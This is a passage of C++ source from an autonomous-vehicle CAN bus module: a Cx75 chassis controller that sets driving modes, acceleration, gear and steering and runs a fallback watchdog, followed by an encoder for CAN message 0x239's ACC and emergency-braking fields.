set_driving_mode(Chassis::APA_MODE); AINFO << "Switch to APA_MODE mode ok."; return ErrorCode::OK; } } ErrorCode Cx75Controller::DisableAPAMode() { pam_0x270_270_->set_pam_brakemodests(Pam_0x270_270::PAM_BRAKEMODESTS_MANEUVERFINISHED); pam_0x270_270_->set_pam_brakefunctionmode(Pam_0x270_270::PAM_BRAKEFUNCTIONMODE_AUTOMATICPARK); pam_0x270_270_->set_pam_esp_target_gear_request(Pam_0x270_270::PAM_ESP_TARGET_GEAR_REQUEST_PARK); //can_sender_->Update(); set_driving_mode(Chassis::COMPLETE_MANUAL); set_chassis_error_code(Chassis::NO_ERROR); AINFO << "Switch to COMPLETE_MANUAL OK!"; return ErrorCode::OK; } void Cx75Controller::Acceleration(double acc) { if (!(driving_mode() == Chassis::COMPLETE_AUTO_DRIVE || driving_mode() == Chassis::AUTO_SPEED_ONLY)) { AINFO << "this drive mode no need to set Acceleration."; return; } mrr_0x238_238_->set_acc_tgtax(acc); mrr_0x238_238_->set_acc_tgtaxlowercomftband(0.2); mrr_0x238_238_->set_acc_tgtaxlowerlim(-4); mrr_0x238_238_->set_acc_tgtaxuppercomftband(0.1); mrr_0x238_238_->set_acc_tgtaxupperlim(0.3); AINFO<<"acc:"<<acc<<" chassis_.esp_epbstatus:"<<chassis_.esp_epbstatus(); if (acc>0&&(chassis_.esp_epbstatus()==1||chassis_.esp_epbstatus()==3)) { mrr_0x239_239_->set_acc_driveoff(Mrr_0x239_239::ACC_DRIVEOFF_DEMAND); } else { mrr_0x239_239_->set_acc_driveoff(Mrr_0x239_239::ACC_DRIVEOFF_NO_DEMAND); } } // NEUTRAL, REVERSE, DRIVE void Cx75Controller::Gear(Chassis::GearPosition gear_position) { if (!(driving_mode() == Chassis::COMPLETE_AUTO_DRIVE || driving_mode() == Chassis::AUTO_SPEED_ONLY)) { AINFO << "this drive mode no need to set gear."; return; } AERROR<<"gear_position"<<gear_position; switch (gear_position) { case Chassis::GEAR_NEUTRAL: { pam_0x270_270_->set_pam_esp_target_gear_request(Pam_0x270_270::PAM_ESP_TARGET_GEAR_REQUEST_NEUTRAL); break; } case Chassis::GEAR_REVERSE: { pam_0x270_270_->set_pam_esp_target_gear_request(Pam_0x270_270::PAM_ESP_TARGET_GEAR_REQUEST_REVERSE); break; } case Chassis::GEAR_DRIVE: { pam_0x270_270_->set_pam_esp_target_gear_request(Pam_0x270_270::PAM_ESP_TARGET_GEAR_REQUEST_DRIVE); break; } case Chassis::GEAR_PARKING: { pam_0x270_270_->set_pam_esp_target_gear_request(Pam_0x270_270::PAM_ESP_TARGET_GEAR_REQUEST_PARK); break; } default: { pam_0x270_270_->set_pam_esp_target_gear_request(Pam_0x270_270::PAM_ESP_TARGET_GEAR_REQUEST_PARK); break; } } } // brake with new acceleration // acceleration:0.00~99.99, unit: // acceleration:0.0 ~ 7.0, unit:m/s^2 // acceleration_spd:60 ~ 100, suggest: 90 // -> pedal void Cx75Controller::Brake(double pedal) { } // drive with old acceleration // gas:0.00~99.99 unit: void Cx75Controller::Throttle(double pedal) { } // cx75 default, -470 ~ 470, left:+, right:- // need to be compatible with control module, so reverse // steering with old angle speed // angle:-99.99~0.00~99.99, unit:, left:-, right:+ void Cx75Controller::SteerTorque(double torque) { if (!(driving_mode() == Chassis::COMPLETE_AUTO_DRIVE || driving_mode() == Chassis::AUTO_STEER_ONLY)) { AINFO << "The current driving mode does not need to set steer."; return; } AINFO << "SteerTorque��" << torque; ipm_0x245_245_->set_ipm_laneassit_torquereq(torque); ipm_0x245_245_->set_ipm_laneassit_torquevalidity(Ipm_0x245_245::IPM_LANEASSIT_TORQUEVALIDITY_VALID); } void Cx75Controller::Steer(double angle) { /*if (!driving_mode() == Chassis::APA_MODE) { AINFO << "The current driving mode does not need to set steer angle."; return; } pam_0x270_270_->set_pam_trgtepsstrgwhlang(angle);*/ if (!(driving_mode() == Chassis::COMPLETE_AUTO_DRIVE || driving_mode() == Chassis::AUTO_STEER_ONLY)) { AINFO << "The current driving mode does not need to set steer."; return; } AERROR << "Steerangle" << angle; // ipm_0x245_245_->set_ipm_laneassit_torquereq(angle); // ipm_0x245_245_->set_ipm_laneassit_torquevalidity(Ipm_0x245_245::IPM_LANEASSIT_TORQUEVALIDITY_VALID); // if (chassis_.eps_epspamsts()==1) // { // AERROR<<"1"; // pam_0x270_270_->set_pam_cmdepssts(Pam_0x270_270::PAM_CMDEPSSTS_CONTROL_EPS_REQUEST); // } // else if (chassis_.eps_epspamsts()==4||chassis_.eps_epspamsts()==2) // { // AERROR<<"2and4"; // pam_0x270_270_->set_pam_cmdepssts(Pam_0x270_270::PAM_CMDEPSSTS_EPS_CONTROL); // } // else // { // AERROR<<"eps erro"; // pam_0x270_270_->set_pam_cmdepssts(Pam_0x270_270::PAM_CMDEPSSTS_NO_REQUEST); // } pam_0x270_270_->set_pam_trgtepsstrgwhlang(angle); } void Cx75Controller::PamStopDistance(int distance) { if (!(driving_mode() == Chassis::COMPLETE_AUTO_DRIVE || driving_mode() == Chassis::AUTO_SPEED_ONLY)) { AINFO << "this drive mode no need to set PamStopDistance."; return; } pam_0x270_270_->set_pam_esp_stop_distance(distance); AERROR<<"distance "<<distance; } void Cx75Controller::SpeedTarget(float speed) { if (!(driving_mode() == Chassis::COMPLETE_AUTO_DRIVE || driving_mode() == Chassis::AUTO_SPEED_ONLY)) { AINFO << "this drive mode no need to set SpeedTarget."; return; } AERROR<<"speed "<<speed; pam_0x270_270_->set_pam_esp_speed_target(speed); } // steering with new angle speed // angle:-99.99~0.00~99.99, unit:, left:-, right:+ // angle_spd:0.00~99.99, unit:deg/s void Cx75Controller::Steer(double angle, double angle_spd) { if (!(driving_mode() == Chassis::COMPLETE_AUTO_DRIVE || driving_mode() == Chassis::AUTO_STEER_ONLY)) { AINFO << "The current driving mode does not need to set steer."; return; } /* ADD YOUR OWN CAR CHASSIS OPERATION const double real_angle = params_.max_steer_angle() * angle / 100.0; const double real_angle_spd = ProtocolData::BoundedValue( params_.min_steer_angle_spd(), params_.max_steer_angle_spd(), params_.max_steer_angle_spd() * angle_spd / 100.0); steering_64_->set_steering_angle(real_angle) ->set_steering_angle_speed(real_angle_spd); */ } void Cx75Controller::SetEpbBreak(const ControlCommand &command) { if (command.parking_brake()) { // None } else { // None } } void Cx75Controller::SetBeam(const ControlCommand &command) { if (command.signal().high_beam()) { // None } else if (command.signal().low_beam()) { // None } else { // None } } void Cx75Controller::SetHorn(const ControlCommand &command) { if (command.signal().horn()) { // None } else { // None } } void Cx75Controller::SetTurningSignal(const ControlCommand &command) { // Set Turn Signal /* ADD YOUR OWN CAR CHASSIS OPERATION auto signal = command.signal().turn_signal(); if (signal == Signal::TURN_LEFT) { turnsignal_68_->set_turn_left(); } else if (signal == Signal::TURN_RIGHT) { turnsignal_68_->set_turn_right(); } else { turnsignal_68_->set_turn_none(); } */ } void Cx75Controller::ResetProtocol() { message_manager_->ResetSendMessages(); } bool Cx75Controller::CheckChassisError() { /* ADD YOUR OWN CAR CHASSIS OPERATION */ return false; } void Cx75Controller::SecurityDogThreadFunc() { int32_t vertical_ctrl_fail = 0; int32_t horizontal_ctrl_fail = 0; if (can_sender_ == nullptr) { AERROR << "Fail to run SecurityDogThreadFunc() because can_sender_ is " "nullptr."; return; } while (!can_sender_->IsRunning()) { std::this_thread::yield(); } std::chrono::duration<double, std::micro> default_period{50000}; int64_t start = 0; int64_t end = 0; while (can_sender_->IsRunning()) { start = ::jmc_auto::common::time::AsInt64<::jmc_auto::common::time::micros>( ::jmc_auto::common::time::Clock::Now()); const Chassis::DrivingMode mode = driving_mode(); //循环验证转向状态,切换转向状态,防止EPS一直报错 if (mode == Chassis::COMPLETE_AUTO_DRIVE || mode == Chassis::AUTO_STEER_ONLY) { AERROR<<"EPS错误码"<<chassis_.eps_epspaminh(); AERROR<<"EPS状态"<<chassis_.eps_epspamsts(); if (chassis_.eps_epspamsts() == 1) { AERROR << "eps ready"; pam_0x270_270_->set_pam_cmdepssts(Pam_0x270_270::PAM_CMDEPSSTS_CONTROL_EPS_REQUEST); } else if (chassis_.eps_epspamsts() == 4) { AERROR << "eps ok"; pam_0x270_270_->set_pam_cmdepssts(Pam_0x270_270::PAM_CMDEPSSTS_EPS_CONTROL); } else if (chassis_.eps_epspamsts() == 2) { AERROR << "eps very good"; } else if (chassis_.eps_epspamsts() == 3) { AERROR << "eps erro"; pam_0x270_270_->set_pam_cmdepssts(Pam_0x270_270::PAM_CMDEPSSTS_NO_REQUEST); AERROR <<"chassis_.steering_percentage:"<<chassis_.steering_percentage(); } } bool emergency_mode = false; // 1. horizontal control check if ((mode == Chassis::COMPLETE_AUTO_DRIVE || mode == Chassis::AUTO_STEER_ONLY) && // CheckResponse(CHECK_RESPONSE_STEER_UNIT_FLAG, false) == false) CheckResponse(CHECK_RESPONSE_ESPPAM_UNIT_FLAG, false) == false) { ++horizontal_ctrl_fail; if (horizontal_ctrl_fail >= kMaxFailAttempt) { emergency_mode = true; AERROR<<"steer ctrl_fail"; set_chassis_error_code(Chassis::MANUAL_INTERVENTION); } } else { horizontal_ctrl_fail = 0; } // 2. vertical control check if ((mode == Chassis::COMPLETE_AUTO_DRIVE || mode == Chassis::AUTO_SPEED_ONLY) && // CheckResponse(CHECK_RESPONSE_SPEED_UNIT_FLAG, false) == false) CheckResponse(CHECK_RESPONSE_APA_UNIT_FLAG, false) == false) { ++vertical_ctrl_fail; AINFO<<"vertical_ctrl_fail:"<<vertical_ctrl_fail; if (vertical_ctrl_fail >= kMaxFailAttempt) { emergency_mode = true; AERROR<<"acc ctrl_fail"; set_chassis_error_code(Chassis::MANUAL_INTERVENTION); } } else { vertical_ctrl_fail = 0; } if (CheckChassisError()) { set_chassis_error_code(Chassis::CHASSIS_ERROR); emergency_mode = true; } if (emergency_mode && mode != Chassis::COMPLETE_MANUAL) { // set_driving_mode(Chassis::EMERGENCY_MODE); set_driving_mode(Chassis::COMPLETE_MANUAL); message_manager_->ResetSendMessages(); } end = ::jmc_auto::common::time::AsInt64<::jmc_auto::common::time::micros>( ::jmc_auto::common::time::Clock::Now()); std::chrono::duration<double, std::micro> elapsed{end - start}; if (elapsed < default_period) { std::this_thread::sleep_for(default_period - elapsed); } else { AERROR << "Too much time consumption in Cx75Controller looping process:" << elapsed.count(); } } } bool Cx75Controller::CheckResponse(const int32_t flags, bool need_wait) { int32_t retry_num = 20; ChassisDetail chassis_detail; bool is_eps_online = false; bool is_vcu_online = false; bool is_esp_online = false; bool is_apa_online=false; bool is_epspam_online=false; do { if (message_manager_->GetSensorData(&chassis_detail) != ErrorCode::OK) { AERROR_EVERY(100) << "get chassis detail failed."; return false; } bool check_ok = true; if (flags & CHECK_RESPONSE_STEER_UNIT_FLAG) { is_eps_online = chassis_detail.has_check_response() && chassis_detail.check_response().has_is_eps_online() && chassis_detail.check_response().is_eps_online(); check_ok = check_ok && is_eps_online; } if (flags & CHECK_RESPONSE_SPEED_UNIT_FLAG) { // is_vcu_online = chassis_detail.has_check_response() && // chassis_detail.check_response().has_is_vcu_online() && // chassis_detail.check_response().is_vcu_online(); is_esp_online = chassis_detail.has_check_response() && chassis_detail.check_response().has_is_esp_online() && chassis_detail.check_response().is_esp_online(); // check_ok = check_ok && is_vcu_online && is_esp_online; check_ok = check_ok && is_esp_online; } if (flags & CHECK_RESPONSE_APA_UNIT_FLAG){ is_apa_online = chassis_detail.has_check_response() && chassis_detail.check_response().has_is_apa_online() && chassis_detail.check_response().is_apa_online(); check_ok = check_ok && is_apa_online; } if (flags & CHECK_RESPONSE_ESPPAM_UNIT_FLAG){ is_epspam_online = chassis_detail.has_check_response() && chassis_detail.check_response().has_is_epspam_online() && chassis_detail.check_response().is_epspam_online(); check_ok = check_ok && is_epspam_online; } AINFO << "check_ok." << check_ok << " is_vcu_online." << is_vcu_online << " is_esp_online." << is_esp_online<<" is_apa_online."<<is_apa_online<<"is_epspam_online."<<is_epspam_online; if (check_ok) { //CANBUS正常时,恢复正常 AINFO<<"check_ok NO_ERROR"; set_chassis_error_code(Chassis::NO_ERROR); return true; } else { AINFO << "Need to check response again."; } if (need_wait) { --retry_num; std::this_thread::sleep_for( std::chrono::duration<double, std::milli>(20)); } } while (need_wait && retry_num); AINFO << "check_response fail: is_eps_online:" << is_eps_online << ", is_vcu_online:" << is_vcu_online << ", is_esp_online:" << is_esp_online; return false; /* int32_t retry_num = 20; ChassisDetail chassis_detail; bool is_eps_online = false; bool is_pam_esp_online = false; bool is_esp_online = false; bool is_pam_eps_online = false; do { if (message_manager_->GetSensorData(&chassis_detail) != ErrorCode::OK) { AERROR_EVERY(100) << "get chassis detail failed."; return false; } bool check_ok = true; if (flags & CHECK_RESPONSE_STEER_UNIT_FLAG) { is_eps_online = chassis_detail.cx75().has_eps_advanced_0x176_176() && chassis_detail.cx75().eps_advanced_0x176_176().has_eps_lkacontrolstatus() && chassis_detail.cx75().eps_advanced_0x176_176().eps_lkacontrolstatus()==Eps_advanced_0x176_176::EPS_LKACONTROLSTATUS_REQUEST_HONORED; check_ok = check_ok && is_eps_online; } if (flags & CHECK_RESPONSE_SPEED_UNIT_FLAG) { is_esp_online = chassis_detail.cx75().has_esp_vlc_0x223_223() && chassis_detail.cx75().esp_vlc_0x223_223().has_esp_vlc_active() && chassis_detail.cx75().esp_vlc_0x223_223().esp_vlc_active(); check_ok = check_ok && is_esp_online; } if (flags & CHECK_RESPONSE_PAM_ESP_UNIT_FLAG) { is_pam_esp_online = chassis_detail.cx75().has_esp_vlc_0x223_223() && chassis_detail.cx75().esp_vlc_0x223_223().has_esp_pam_lc_status() && chassis_detail.cx75().esp_vlc_0x223_223().esp_pam_lc_status()==Esp_vlc_0x223_223::ESP_PAM_LC_STATUS_ACTIVE_AUTOMATICPARK; check_ok = check_ok && is_pam_esp_online; } if (flags & CHECK_RESPONSE_PAM_EPS_UNIT_FLAG) { is_pam_eps_online = chassis_detail.cx75().has_eps_advanced_0x176_176() && chassis_detail.cx75().eps_advanced_0x176_176().has_eps_epspamsts() && chassis_detail.cx75().eps_advanced_0x176_176().eps_epspamsts()==Eps_advanced_0x176_176::EPS_EPSPAMSTS_ACTIVE; check_ok = check_ok && is_pam_eps_online; } if (check_ok) { return true; } else { AINFO << "Need to check response again."; } if (need_wait) { --retry_num; std::this_thread::sleep_for( std::chrono::duration<double, std::milli>(20)); } } while (need_wait && retry_num); AINFO << "check_response fail: is_eps_online:" << is_eps_online << ", is_esp_online:" << is_esp_online << ", is_pam_esp_online:" << is_pam_esp_online << ", is_pam_eps_online:" << is_pam_eps_online; return false;*/ } void Cx75Controller::set_chassis_error_mask(const int32_t mask) { std::lock_guard<std::mutex> lock(chassis_mask_mutex_); chassis_error_mask_ = mask; } int32_t Cx75Controller::chassis_error_mask() { std::lock_guard<std::mutex> lock(chassis_mask_mutex_); return chassis_error_mask_; } Chassis::ErrorCode Cx75Controller::chassis_error_code() { std::lock_guard<std::mutex> lock(chassis_error_code_mutex_); return chassis_error_code_; } void Cx75Controller::set_chassis_error_code( const Chassis::ErrorCode &error_code) { std::lock_guard<std::mutex> lock(chassis_error_code_mutex_); chassis_error_code_ = error_code; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/mrr_0x239_239.h" #include "modules/drivers/canbus/common/byte.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; const int32_t Mrr0x239239::ID = 0x239; // public Mrr0x239239::Mrr0x239239() { Reset(); } uint32_t Mrr0x239239::GetPeriod() const { // TODO modify every protocol's period manually static const uint32_t PERIOD = 20 * 1000; return PERIOD; } void Mrr0x239239::UpdateData(uint8_t* data) { set_p_acc_uppercomftbandreq(data, acc_uppercomftbandreq_); set_p_acc_brakepreferred(data, acc_brakepreferred_); set_p_eba_req(data, eba_req_); set_p_aeb_req(data, aeb_req_); set_p_acc_standstillreq(data, acc_standstillreq_); set_p_acc_driveoff(data, acc_driveoff_); set_p_awb_level(data, awb_level_); set_p_abp_req(data, abp_req_); set_p_awb_req(data, awb_req_); set_p_aba_req(data, aba_req_); set_p_aeb_tgtax(data, aeb_tgtax_); set_p_acc_state(data, acc_state_); set_p_rolling_counter_0x239(data, rolling_counter_0x239_); set_p_shutdownmode(data, shutdownmode_); set_p_aba_level(data, aba_level_); set_p_checksum_0x239(data, checksum_0x239_); } void Mrr0x239239::Reset() { // TODO you should check this manually acc_uppercomftbandreq_ = Mrr_0x239_239::ACC_UPPERCOMFTBANDREQ_NO_DEMAND; acc_brakepreferred_ = Mrr_0x239_239::ACC_BRAKEPREFERRED_NO_DEMAND; eba_req_ = Mrr_0x239_239::EBA_REQ_NO_DEMAND; aeb_req_ = Mrr_0x239_239::AEB_REQ_NO_DEMAND; acc_standstillreq_ = Mrr_0x239_239::ACC_STANDSTILLREQ_NO_DEMAND; acc_driveoff_ = Mrr_0x239_239::ACC_DRIVEOFF_NO_DEMAND; awb_level_ = Mrr_0x239_239::AWB_LEVEL_NO_LEVEL; abp_req_ = Mrr_0x239_239::ABP_REQ_NO_DEMAND; awb_req_ = Mrr_0x239_239::AWB_REQ_NO_DEMAND; aba_req_ = Mrr_0x239_239::ABA_REQ_NO_DEMAND; aeb_tgtax_ = 0.0; acc_state_ = Mrr_0x239_239::ACC_STATE_OFF_MODE; rolling_counter_0x239_ = 0; checksum_0x239_ = 0; shutdownmode_ = Mrr_0x239_239::SHUTDOWNMODE_SOFT_OFF; aba_level_ = Mrr_0x239_239::ABA_LEVEL_LEVEL_0; } void Mrr0x239239::checksum_rolling() { // TODO you should check this manually rolling_counter_0x239_++; rolling_counter_0x239_=rolling_counter_0x239_<=15?rolling_counter_0x239_:0; rolling_counter_0x239_ = ProtocolData::BoundedValue(0, 15, rolling_counter_0x239_); } Mrr0x239239* Mrr0x239239::set_acc_uppercomftbandreq( Mrr_0x239_239::Acc_uppercomftbandreqType acc_uppercomftbandreq) { acc_uppercomftbandreq_ = acc_uppercomftbandreq; return this; } // config detail: {'name': 'ACC_UpperComftBandReq', 'enum': {0: 'ACC_UPPERCOMFTBANDREQ_NO_DEMAND', 1: 'ACC_UPPERCOMFTBANDREQ_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 0, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x239239::set_p_acc_uppercomftbandreq(uint8_t* data, Mrr_0x239_239::Acc_uppercomftbandreqType acc_uppercomftbandreq) { int x = acc_uppercomftbandreq; Byte to_set(data + 0); to_set.set_value(x, 0, 1); } Mrr0x239239* Mrr0x239239::set_acc_brakepreferred( Mrr_0x239_239::Acc_brakepreferredType acc_brakepreferred) { acc_brakepreferred_ = acc_brakepreferred; return this; } // config detail: {'name': 'ACC_BrakePreferred', 'enum': {0: 'ACC_BRAKEPREFERRED_NO_DEMAND', 1: 'ACC_BRAKEPREFERRED_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 1, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x239239::set_p_acc_brakepreferred(uint8_t* data, Mrr_0x239_239::Acc_brakepreferredType acc_brakepreferred) { int x = acc_brakepreferred; Byte to_set(data + 0); to_set.set_value(x, 1, 1); } Mrr0x239239* Mrr0x239239::set_eba_req( Mrr_0x239_239::Eba_reqType eba_req) { eba_req_ = eba_req; return this; } // config detail: {'name': 'EBA_Req', 'enum': {0: 'EBA_REQ_NO_DEMAND', 1: 'EBA_REQ_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 12, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x239239::set_p_eba_req(uint8_t* data, Mrr_0x239_239::Eba_reqType eba_req) { int x = eba_req; Byte to_set(data + 1); to_set.set_value(x, 4, 1); } Mrr0x239239* Mrr0x239239::set_aeb_req( Mrr_0x239_239::Aeb_reqType aeb_req) { aeb_req_ = aeb_req; return this; } // config detail: {'name': 'AEB_Req', 'enum': {0: 'AEB_REQ_NO_DEMAND', 1: 'AEB_REQ_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 13, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x239239::set_p_aeb_req(uint8_t* data, Mrr_0x239_239::Aeb_reqType aeb_req) { int x = aeb_req; Byte to_set(data + 1); to_set.set_value(x, 5, 1); } Mrr0x239239* Mrr0x239239::set_acc_standstillreq( Mrr_0x239_239::Acc_standstillreqType acc_standstillreq) { acc_standstillreq_ = acc_standstillreq; return this; } // config detail: {'name': 'ACC_StandstillReq', 'enum': {0: 'ACC_STANDSTILLREQ_NO_DEMAND', 1: 'ACC_STANDSTILLREQ_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 14, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x239239::set_p_acc_standstillreq(uint8_t* data, Mrr_0x239_239::Acc_standstillreqType acc_standstillreq) { int x = acc_standstillreq; Byte to_set(data + 1); to_set.set_value(x, 6, 1); } Mrr0x239239* Mrr0x239239::set_acc_driveoff( Mrr_0x239_239::Acc_driveoffType acc_driveoff) { acc_driveoff_ = acc_driveoff; return this; } // config detail: {'name': 'ACC_DriveOff', 'enum': {0: 'ACC_DRIVEOFF_NO_DEMAND', 1: 'ACC_DRIVEOFF_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x239239::set_p_acc_driveoff(uint8_t* data, Mrr_0x239_239::Acc_driveoffType acc_driveoff) { int x = acc_driveoff; Byte to_set(data + 1); to_set.set_value(x, 7, 1); } Mrr0x239239* Mrr0x239239::set_awb_level( Mrr_0x239_239::Awb_levelType awb_level) { awb_level_ = awb_level; return this; } // config detail: {'name': 'AWB_Level', 'enum': {0: 'AWB_LEVEL_NO_LEVEL', 1: 'AWB_LEVEL_LEVEL_1', 2: 'AWB_LEVEL_LEVEL_2', 3: 'AWB_LEVEL_LEVEL_3', 4: 'AWB_LEVEL_LEVEL_4'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 19, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x239239::set_p_awb_level(uint8_t* data, Mrr_0x239_239::Awb_levelType awb_level) { int x = awb_level; Byte to_set(data + 2); to_set.set_value(x, 0, 4); } Mrr0x239239* Mrr0x239239::set_abp_req( Mrr_0x239_239::Abp_reqType abp_req) { abp_req_ = abp_req; return this; } // config detail: {'name': 'ABP_Req', 'enum': {0: 'ABP_REQ_NO_DEMAND', 1: 'ABP_REQ_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x239239::set_p_abp_req(uint8_t* data, Mrr_0x239_239::Abp_reqType abp_req) { int x = abp_req; Byte to_set(data + 2); to_set.set_value(x, 5, 1); } Mrr0x239239* Mrr0x239239::set_awb_req( Mrr_0x239_239::Awb_reqType awb_req) { awb_req_ = awb_req; return this; } // config detail: {'name': 'AWB_Req', 'enum': {0: 'AWB_REQ_NO_DEMAND', 1: 'AWB_REQ_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 22, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x239239::set_p_awb_req(uint8_t* data, Mrr_0x239_239::Awb_reqType awb_req) { int x = awb_req; Byte to_set(data + 2); to_set.set_value(x, 6, 1); } Mrr0x239239* Mrr0x239239::set_aba_req( Mrr_0x239_239::Aba_reqType aba_req) { aba_req_ = aba_req; return this; } // config detail: {'name': 'ABA_Req', 'enum': {0: 'ABA_REQ_NO_DEMAND', 1: 'ABA_REQ_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x239239::set_p_aba_req(uint8_t* data, Mrr_0x239_239::Aba_reqType aba_req) { int x = aba_req; Byte to_set(data + 2); to_set.set_value(x, 7, 1); } Mrr0x239239* Mrr0x239239::set_aeb_tgtax( double aeb_tgtax) { aeb_tgtax_ = aeb_tgtax; return this; } // config detail: {'name': 'AEB_TgtAx', 'offset': -16.0, 'precision': 0.05, 'len': 16, 'is_signed_var': False, 'physical_range': '[-16|16]', 'bit': 31, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm s2'} void Mrr0x239239::set_p_aeb_tgtax(uint8_t* data, double aeb_tgtax) { aeb_tgtax = ProtocolData::BoundedValue(-16.0, 16.0, aeb_tgtax); int x = (aeb_tgtax - -16.000000) / 0.050000; uint8_t t = 0; t = x & 0xFF; Byte to_set0(data + 4); to_set0.set_value(t, 0, 8); x >>= 8; t = x & 0xFF; Byte to_set1(data + 3); to_set1.set_value(t, 0, 8); } Mrr0x239239* Mrr0x239239::set_acc_state( Mrr_0x239_239::Acc_stateType acc_state) { acc_state_ = acc_state; return this; } // config detail: {'name': 'ACC_State', 'enum': {0: 'ACC_STATE_OFF_MODE', 1: 'ACC_STATE_PASSIVE_MODE', 2: 'ACC_STATE_STAND_BY_MODE', 3: 'ACC_STATE_ACTIVE_CONTROL_MODE', 4: 'ACC_STATE_BRAKE_ONLY_MODE', 5: 'ACC_STATE_OVERRIDE', 6: 'ACC_STATE_STANDSTILL', 7: 'ACC_STATE_FAILURE_MODE'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x239239::set_p_acc_state(uint8_t* data, Mrr_0x239_239::Acc_stateType acc_state) { int x = acc_state; Byte to_set(data + 0); to_set.set_value(x, 3, 3); } Mrr0x239239* Mrr0x239239::set_rolling_counter_0x239( int rolling_counter_0x239) { rolling_counter_0x239_ = rolling_counter_0x239; return this; } // config detail: {'name': 'Rolling_counter_0x239', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void Mrr0x239239::set_p_rolling_counter_0x239(uint8_t* data, int rolling_counter_0x239) { //rolling_counter_0x239_++; //rolling_counter_0x239_=rolling_counter_0x239_<=15?rolling_counter_0x239_:0; //rolling_counter_0x239_ = ProtocolData::BoundedValue(0, 15, rolling_counter_0x239_); //int x = rolling_counter_0x239_; //Byte to_set(data + 6); //to_set.set_value(x, 0, 4); } Mrr0x239239* Mrr0x239239::set_checksum_0x239( int checksum_0x239) { checksum_0x239_ = checksum_0x239; return this; } // config detail: {'name': 'Checksum_0x239', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void Mrr0x239239::set_p_checksum_0x239(uint8_t* data, int checksum_0x239) { //checksum_0x239 = (data[0]^data[1]^data[2]^data[3]^data[4]^data[5]^data[6]); //checksum_0x239 = ProtocolData::BoundedValue(0, 255, checksum_0x239); //int x = checksum_0x239; //Byte to_set(data + 7); //to_set.set_value(x, 0, 8); } Mrr0x239239* Mrr0x239239::set_shutdownmode( Mrr_0x239_239::ShutdownmodeType shutdownmode) { shutdownmode_ = shutdownmode; return this; } // config detail: {'name': 'ShutdownMode', 'enum': {0: 'SHUTDOWNMODE_SOFT_OFF', 1: 'SHUTDOWNMODE_FAST_OFF', 2: 'SHUTDOWNMODE_RESERVED', 3: 'SHUTDOWNMODE_INITIAL'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x239239::set_p_shutdownmode(uint8_t* data, Mrr_0x239_239::ShutdownmodeType shutdownmode) { int x = shutdownmode; Byte to_set(data + 0); to_set.set_value(x, 6, 2); } Mrr0x239239* Mrr0x239239::set_aba_level( Mrr_0x239_239::Aba_levelType aba_level) { aba_level_ = aba_level; return this; } // config detail: {'name': 'ABA_Level', 'enum': {0: 'ABA_LEVEL_LEVEL_0', 1: 'ABA_LEVEL_LEVEL_1', 2: 'ABA_LEVEL_LEVEL_2', 3: 'ABA_LEVEL_LEVEL_3'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 9, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x239239::set_p_aba_level(uint8_t* data, Mrr_0x239_239::Aba_levelType aba_level) { int x = aba_level; Byte to_set(data + 1); to_set.set_value(x, 0, 2); } } // namespace cx75 } // namespace canbus } // namespace jmc_auto 